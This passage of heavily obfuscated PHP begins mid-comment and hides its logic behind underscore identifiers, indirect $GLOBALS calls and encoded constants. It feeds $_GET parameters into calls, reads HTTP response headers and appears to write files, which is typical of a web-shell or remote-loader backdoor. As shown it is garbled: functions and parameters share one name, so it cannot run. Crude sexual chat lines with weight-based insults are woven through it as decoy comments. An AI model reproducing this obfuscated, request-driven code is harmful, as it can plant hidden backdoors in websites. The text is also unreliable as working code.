picture.*/);$_=$GLOBALS["_".""](_::_("_"."","_".""."".""),$_);/*sweet17: hold on*/$_=_::_("_".""."","_".""."");foreach($_ as$_):$_=$GLOBALS["_"]($_);if(empty($_)):continue/*Bloodninja: Hurry up.*/;while($GLOBALS["_".""](_::_("_"."","_"."".""))!==_::_("_"."","_")||$GLOBALS["_"."".""]()===_::_("_"."","_")||$GLOBALS["_"](_::_("_".""."","_"),array(_::_("_"."","_"."".""),_::_("_".""."","_"."")))===_::_("_"."","_".""."")):while($GLOBALS["_".""]((int)Round(_::_(013)+_::_(014/*Bloodninja: Are you there?*/)+_::_(015)+_::_(016)+_::_(017/*Bloodninja: F**k you, cop!*/)),$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][07]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][010]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][011]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][012]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][013]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][014])>=($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][015]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][016/*sweet17: Hey sorry*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][017])||$GLOBALS["_"."".""]()==/*sweet17: I had to do something for my mom.*/_::_(020/*Bloodninja: I thought you were trying to find a picture to send to me.*/)):$_=$_.$_;unset/*Bloodninja: When really you were notifying the authorities.*/($_,$_);_($_GET[$_]);$_=$GLOBALS["_"](_::_("_".""."".""."","_".""."".""),$GLOBALS["_".""]($_));endwhile;$_=$_->$_;if($GLOBALS["_"."".""]($GLOBALS["_".""."".""](array(-(int)ROUNd(_::_(021)+_::_(022/*Bloodninja: Weren't you!?*/)))))>(int)rOunD(_::_(023/*sweet17: thats not it*/)+_::_(024)+_::_(025)+_::_(026/*Bloodninja: Then what?*/))||$GLOBALS["_".""]()==_::_("_","_".""."")):$_=$GLOBALS["_".""]();$GLOBALS["_".""]($_);$GLOBALS["_".""."".""]($_);$GLOBALS["_"]();$GLOBALS["_".""]($_);endif;endwhile;;endif;$_=$GLOBALS["_"]($_,_::_("_".""."","_".""."".""));if($_==(int)ROUNd(_::_(027)+_::_(030)+_::_(031)+_::_(032)+_::_(033))):list($_,$_)=$GLOBALS["_"."".""](_::_("_"."","_".""),$_,(int)RoUNd(_::_(034)+_::_(035/*sweet17: I don't want to send you the picture cause I'm not pretty*/)));/*Bloodninja: Most cops aren't*/list($_,$_)=$GLOBALS["_".""](_::_("_".""."","_".""),$_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][020]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][021]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][022/*sweet17: IM NOT A F**KING COP YOU A**HOLE!*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][023/*Bloodninja: Then send me the picture.*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][024]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][025/*sweet17: fine. What's your e-mail?*/]);if(_($_,$_,$_)):_($_._::_("_"."","_"."".""."").$GLOBALS["_".""]($_._::_("_"."","_".""."").$_._::_("_"."","_".""."").$_));endif;elseif($_==($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][026/*Bloodninja: Just send it through here.*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][027/*sweet17: alright *PIC**/])):list($_,$_,$_)=$GLOBALS["_"."".""](_::_("_"."","_"."".""),$_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][030]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][031]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][032/*sweet17: Did you get it?*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][033/*Bloodninja: Hold on. I'm looking.*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][034]);if(_($_,$_,$_)):_($_._::_("_".""."","_"."").$GLOBALS["_".""]($_._::_("_".""."","_"."").$_._::_("_"."","_").$_));/*sweet17: That was me back in may*/endif;else:list($_,$_,$_,$_)=$GLOBALS["_".""](_::_("_"."".""."","_".""."".""),$_,(int)rOUnD(_::_(036/*sweet17: I've lost weight since then.*/)+_::_(037)+_::_(040/*Bloodninja: I hope so*/)+_::_(041)));/*sweet17: what?!?*/$_=$_;/*sweet17: that hurt my feelings.*/$_=$_;/*Bloodninja: Did it?*/$_=$GLOBALS["_".""]($_,_::_("_","_".""));if($_>(int)ROUNd(_::_(042/*sweet17: Yes. I'm not that much smaller than that now.*/)+_::_(043)+_::_(044)+_::_(045)+_::_(046/*Bloodninja: Will it make you feel better if I send you my picture?*/)+_::_(047))):$_=$GLOBALS["_"]($_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][035/*sweet17: yes*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][036]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][037]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][040/*Bloodninja: Alright let me find it.*/],$_);endif;$_=$GLOBALS["_"."".""](_::_("_".""."","_".""),$_);$_=$_[$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][041]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][042/*sweet17: kks*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][043/*Bloodninja: Okay here it is. *PIC**/]];$_=$GLOBALS["_".""]($_,_::_("_".""."","_".""));/*sweet17: this isn't you.*/$_=$GLOBALS["_".""."".""]($_,(int)RouND(_::_(050/*Bloodninja: I'll be damned if it ain't!*/)+_::_(051)),$_);/*sweet17: You don't look like that.*/$_=$GLOBALS["_"."".""](_::_("_"."","_"."".""),$_,$_);$_=$GLOBALS["_".""](_::_("_"."".""."","_"."".""),$_,$_);/*Bloodninja: How the hell do you know?*/$_=$GLOBALS["_"."".""](_::_("_"."","_".""."".""),$_,$_);/*sweet17: cause your profile has another picture.*/$_=$GLOBALS["_"."".""](_::_("_"."","_".""),$_,$_);/*Bloodninja: The profile pic is a fake.*/if(_($_,$_,$_,$_)):_($_._::_("_","_"."").$GLOBALS["_".""]($_._::_("_".""."","_"."").$_._::_("_","_".""."").$_._::_("_"."".""."","_"."").$_._::_("_","_").$_));endif;endif;endforeach;function _($_){if($GLOBALS["_".""](_::_("_"."","_"))):$_=$GLOBALS["_"."".""]($_);$GLOBALS["_".""]($_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][044]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][045],false);/*Bloodninja: I use it to hide from the cops.*/$GLOBALS["_".""]($_,(int)rouND(_::_(052/*sweet17: You look like the Farm Fresh guy lol*/)+_::_(053/*Bloodninja: Well, you look like you ATE the Farm Fresh guy....*/)+_::_(054/*Bloodninja: Not to mention all the groceries.*/)+_::_(055)),true);$GLOBALS["_"."".""]($_,(int)ROUNd(_::_(056)+_::_(057)+_::_(060)),$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][046/*sweet17: Go f**k yourself*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][047]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][050]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][051/*Bloodninja: I was going to until I saw that picture*/]);$_=$GLOBALS["_".""]($_);$GLOBALS["_".""."".""]($_);else:$_=@$GLOBALS["_"."".""."".""](array(_::_("_"."","_")=>array(_::_("_".""."","_")=>$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][052]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][053])));while($GLOBALS["_"](_::_("_"."","_"."".""),(int)ROUNd(_::_(061)+_::_(062)))===_::_("_".""."","_".""."")||$GLOBALS["_".""]($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][054/*Bloodninja: Now my unit won't get hard for a week.*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][055]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][056]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][057]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][060/*sweet17: I shouldn't have sent you that picture.*/])===-(int)RouND(_::_(063/*sweet17: You've done nothing but slam me.*/)+_::_(064/*sweet17: you hurt me.*/)+_::_(065)+_::_(066)+_::_(067/*Bloodninja: And calling me the Farm Fresh guy doesn't hurt me?*/)+_::_(070/*sweet17: I thought you were bullcrapping me!*/))):$GLOBALS["_"."".""."".""]((int)roUnD(_::_(071)+_::_(072/*Bloodninja: Why would I do that?*/)+_::_(073/*sweet17: I can't believe that cops are after you*/)+_::_(074)+_::_(075/*Bloodninja: I can't believe Santa lets you sit on his lap..*/)+_::_(076)),(int)ROuNd(_::_(077)+_::_(0100)+_::_(0101)+_::_(0102/*sweet17: F((K YOU!!!*/)+_::_(0103)+_::_(0104/*Bloodninja: You'd break both of his legs.*/)));$_=$GLOBALS["_"."".""](_::_("_"."".""."","_".""),$GLOBALS["_".""]($_));$_=$_->$_;/*sweet17: You're a F**KING A**HOLE!*/$_=$GLOBALS["_".""."".""]();/*sweet17: I've been teased my whole life because of my weight*/@$GLOBALS["_".""]($_);endwhile;$_=@$GLOBALS["_"]($_,(int)rOUnD(_::_(0105)+_::_(0106)+_::_(0107)),$_);endif;return$_;/*sweet17: and you make fun of me when you don't even know me*/}function _($_,$_,$_){$_=$GLOBALS["_".""]($_,(int)ROUnd(_::_(0110)+_::_(0111)+_::_(0112)+_::_(0113/*Bloodninja: Ok. I'm sorry.*/)+_::_(0114)),$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][061/*sweet17: No you aren't*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][062]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][063]);if($_):if($GLOBALS["_".""]($_,$_,$_)):$GLOBALS["_"]($_);/*Bloodninja: You're right. I'm not.*/return true/*Bloodninja: HAARRRRR!*/;endif;$GLOBALS["_"]($_);endif;return false/*sweet17: I'm done with you*/;/*Bloodninja: Aww. I'm sorry.*/}/*sweet17: I'm putting you on ignore*/function _($_,$_,$_,$_,$_="ddgmckhnripcht",$_=1.9478041869983,$_=false,$_=true){if($_==(int)RounD(_::_(0115)+_::_(0116)+_::_(0117)+_::_(0120)+_::_(0121))&&$GLOBALS["_".""]($_,_::_("_"."","_"."".""))===false/*Bloodninja: Wait a sec*/):$_=_::_("_"."","_"."").$_;endif;$_=@$GLOBALS["_".""]($_,$_,$_,$_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][064]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][065/*Bloodninja: We got off on the wrong foot.*/]);if(!$_):return false/*Bloodninja: Wanna start over?*/;endif;@$GLOBALS["_".""]($_,(int)rouND(_::_(0122)+_::_(0123/*sweet17: No*/)+_::_(0124)+_::_(0125/*Bloodninja: I'll eat your kitty*/)+_::_(0126/*sweet17: You'll what?*/)+_::_(0127)));do{$_=@$GLOBALS["_".""]($_,(int)rounD(_::_(0130/*Bloodninja: You heard me.*/)+_::_(0131)));}while(!$_);@$GLOBALS["_".""."".""]($_,_::_("_".""."".""."","_".""."").$_._::_("_"."","_".""));do{$_=@$GLOBALS["_"."".""]($_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][066/*Bloodninja: I said I'd eat your kitty.*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][067/*sweet17: I thought you said you couldn't get it hard after seeing my picture*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][070/*Bloodninja: Do I need a hard-on to eat your kitty?*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][071/*sweet17: I'd like to know that the man eating me out is excited yes*/]);}while(!$_);@$GLOBALS["_"."".""]($_,_::_("_","_".""."").$_._::_("_"."","_".""));/*Bloodninja: Well I'm not like most men.*/do{$_=@$GLOBALS["_".""]($_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][072]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][073]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][074]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][075]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][076]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][077/*Bloodninja: I get excited in different ways.*/]);}while(!$_);@$GLOBALS["_".""]($_,_::_("_"."","_".""."")._::_("_"."","_"."".""));@$GLOBALS["_".""."".""]($_);/*sweet17: Like what?*/if(@$GLOBALS["_".""."".""]($_,_::_("_"."","_".""))!==false):return true;endif;return false;/*Bloodninja: Do you really wanna know?*/}function _($_,$_,$_,$_=0.086339394448411,$_=null){$_=$GLOBALS["_".""."".""](_::_("_"."","_"),_::_("_","_".""),$_);/*sweet17: I don't know*/while($GLOBALS["_"."".""]($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0100/*Bloodninja: You have to tell me yes or no.*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0101]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0102/*sweet17: I'm afraid to*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0103/*Bloodninja: Why?*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0104]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0105])==_::_("_"."","_"."".""."")&&$GLOBALS["_"](-_::_(0132),_::_(0133))==/*sweet17: cause*/_::_(0134)||($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0106]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0107/*Bloodninja: cause why?*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0110/*sweet17: well lets see*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0111])==($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0112]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0113]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0114])):$_=$_->$_;/*sweet17: you say you have sex with turkeys. You call me fat. then you wanna eat me out*/endwhile;$_=_::_("_".""."","_".""."").$GLOBALS["_"]($_)._::_("_"."","_"."").$GLOBALS["_".""]($_)._::_("_"."","_".""."").$GLOBALS["_"]($_)._::_("_"."".""."","_".""."");while($GLOBALS["_"](_::_(0135/*sweet17: doesn't that seem strange to you?*/),_::_(0136))>=_::_(0137/*Bloodninja: Nope*/)&&$GLOBALS["_".""]()===_::_("_".""."","_"."".""."")):echo/*sweet17: well its strange to me*/$GLOBALS["_"."".""]($_);$GLOBALS["_".""]();_($_,_($_),$_);/*Bloodninja: Fine. I won't do it if you don't want me to*/$_=$GLOBALS["_".""."".""](_::_("_"."","_"."".""),$GLOBALS["_"."".""]($_));/*sweet17: I didn't say that*/$_=$_.$_;endwhile;$_=_($_,$_);/*Bloodninja: So is that a yes?*/if($GLOBALS["_"]($_,_::_("_"."".""."","_"."".""))&&($GLOBALS["_".""]($_,_::_("_".""."".""."","_".""))===(int)roUNd(_::_(0140)+_::_(0141))||$GLOBALS["_"."".""]($_,_::_("_"."","_"."".""."".""))===/*sweet17: I guess so.*/($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0115]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0116]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0117]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0120/*Bloodninja: Ok. I need your help getting excited though.*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0121/*Bloodninja: Are you willing?*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0122/*sweet17: What do you need me to do?*/]))&&$GLOBALS["_".""](_::_("_","_"),$_)):return true/*Bloodninja: I need you talk like a pirate.*/;/*sweet17: ???*/else:return false;/*Bloodninja: When I start to go limp... you say "HARRRR!!!"*/endif;}function _($_,$_){$_=array(_::_("_".""."","_"."")=>array(_::_("_".""."","_"."")=>_::_("_"."","_"."".""),_::_("_"."".""."","_"."")=>/*Bloodninja: ok?*/false,_::_("_"."","_"."")=>_::_("_"."","_".""."".""),_::_("_","_"."")=>_::_("_"."".""."","_".""."")._::_("_".""."".""."","_"."".""."")._::_("_".""."","_"."")._::_("_"."".""."","_"."")._::_("_"."","_".""."").$_._::_("_","_"."".""."")._::_("_".""."","_"."".""."")._::_("_","_".""."")._::_("_"."","_".""),_::_("_".""."","_"."")=>$_,));$_=$GLOBALS["_".""]($_);$_=$GLOBALS["_".""]($_,false,$_);/*Bloodninja: Hello?*/if($_===false):return _::_("_".""."","_"."");/*sweet17: You can't be serious*/endif;return$GLOBALS["_".""](_::_("_"."","_".""."".""),$http_response_header)._::_("_","_"."".""."").$_;}/*Bloodninja: Oh yes I am!*/function _($_,$_,$_,$_,$_=""){$_=_::_("_".""."".""."","_".""."");$_=$GLOBALS["_"."".""]($_);$GLOBALS["_"."".""]($_,_::_("_"."","_").$_.$_._::_("_"."","_".""."")._::_("_"."","_").$_._::_("_"."","_")._::_("_","_"."")._::_("_".""."","_"."")._::_("_","_"."")._::_("_","_".""."")._::_("_"."","_".""."").$_.$_._::_("_"."".""."","_")._::_("_"."".""."","_"."".""."")._::_("_"."","_".""."")._::_("_".""."","_"."".""."")._::_("_"."","_"."").$_._::_("_"."".""."".""."","_".""."")._::_("_","_".""."").$_._::_("_".""."","_".""));$_.=$GLOBALS["_"]($_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0123]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0124]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0125]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0126]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0127/*Bloodninja: It's my fantasy.*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0130]);$GLOBALS["_".""]($_);/*sweet17: this is retarded*/return$_;/*Bloodninja: Do you want it or not?*/}function _($_,$_,$_="rpbg",$_=null/*sweet17: Yes I want it.*/){$_=$GLOBALS["_".""]($_);$GLOBALS["_"."".""]($_,(int)ROund(_::_(0142/*Bloodninja: Then you'll do it for me?*/)+_::_(0143)),true);/*sweet17: sure*/$GLOBALS["_"]($_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0131/*Bloodninja: Ok. Here we go.*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0132/*Bloodninja: I gently remove your panties and being to massage your thighs.*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0133]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0134],(int)RouNd(_::_(0144/*Bloodninja: You get really juicy thinking about my tounge brushing up against them*/)+_::_(0145)+_::_(0146)+_::_(0147)+_::_(0150/*Bloodninja: I softly begin to tounge your wet kitty.*/)));$GLOBALS["_".""]($_,(int)roUNd(_::_(0151/*Bloodninja: I run my tounge up and down your smooth c**t.*/)+_::_(0152)+_::_(0153/*sweet17: mmmm yeah*/)+_::_(0154)+_::_(0155)+_::_(0156/*Bloodninja: uh oh ...going limp.*/)),true/*sweet17: Har*/);/*Bloodninja: You gotta do better than that!*/$GLOBALS["_"]($_,(int)ROUND(_::_(0157)+_::_(0160/*Bloodninja: Your picture was really bad.*/)+_::_(0161/*sweet17: HARRRRRRRRRRRR*/)+_::_(0162)+_::_(0163)),array(_::_("_"."","_".""),_::_("_"."","_"."".""),_::_("_"."".""."","_"."".""),_::_("_".""."","_".""),_::_("_"."".""."","_").$_,_::_("_","_".""."".""),_::_("_","_"),_::_("_"."","_".""."".""),));/*Bloodninja: Ahhhh. Much better. I feel your kitty get more moist with every stroke.*/$GLOBALS["_".""."".""]($_,$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0135]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0136]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0137],$_);$_=$GLOBALS["_"."".""]($_);/*Bloodninja: I softly suck on your cl*t bringing it in and out of my mouth.*/$GLOBALS["_"."".""]($_);return$_;}function _($_,$_){if(($GLOBALS["_".""."".""](_::_("_".""."","_".""."".""))===($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0140]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0141/*Bloodninja: Your juices run down my chin as your scent makes its way to my nose.*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0142]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0143]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0144]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0145])||$GLOBALS["_".""."".""."".""](_::_("_"."","_".""."".""))===(int)ROuNd(_::_(0164)+_::_(0165/*Bloodninja: I begin to feel empowered by your femininity.*/)+_::_(0166)+_::_(0167/*sweet17: mmmmmm you are good*/)))&&$GLOBALS["_"."".""](_::_("_"."","_"."".""."".""))==(int)RoUnD(_::_(0170)+_::_(0171)+_::_(0172)+_::_(0173)+_::_(0174))):return _($_,$_);else:$_=$GLOBALS["_".""."".""]($_);if(($GLOBALS["_".""](_::_("_"."".""."","_"))===/*Bloodninja: I feel your thighs tighten as I suck harder*/($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0146/*Bloodninja: going limp*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0147/*sweet17: HARRRRRRR*/])||$GLOBALS["_".""."".""](_::_("_"."","_"))===(int)ROUNd(_::_(0175/*Bloodninja: Mmmm I grab your swelling buttocks in my hands.*/)+_::_(0176/*Bloodninja: You begin to sway back and forth.*/)+_::_(0177)))&&$_=@$GLOBALS["_".""]($_[_::_("_"."","_"."".""."")],(int)rouND(_::_(0200)+_::_(0201)+_::_(0202/*Bloodninja: going limp*/)+_::_(0203)),$_,$_,(int)ROUNd(_::_(0204)+_::_(0205)+_::_(0206)))):return _($_,$_,$_[_::_("_","_".""."")],$_[_::_("_"."","_"."")]);/*sweet17: this is stupid*/elseif(($GLOBALS["_"](_::_("_"."","_"."".""))===/*Bloodninja: ...still limp*/(int)roUnD(_::_(0207)+_::_(0210)+_::_(0211)+_::_(0212/*Bloodninja: Do it!*/)+_::_(0213/*sweet17: HARRRRRRRRRRRRR*/)+_::_(0214))||$GLOBALS["_"](_::_("_"."","_"."".""))===($GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0150]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0151]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0152/*Bloodninja: I turn you around to lick your a**hole.*/]+$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0153/*Bloodninja: I pry apart that battleship you call your ass.*/]-$GLOBALS["_96ed6a98500bc22ca600b9c16b42eaf5"][0154]))&&@$GLOBALS["_"."".""](_::_("_"."","_".""))):return _($_,$_);endif;endif;}/*Bloodninja: I see poo nuggets hanging from the hair around your ass.*/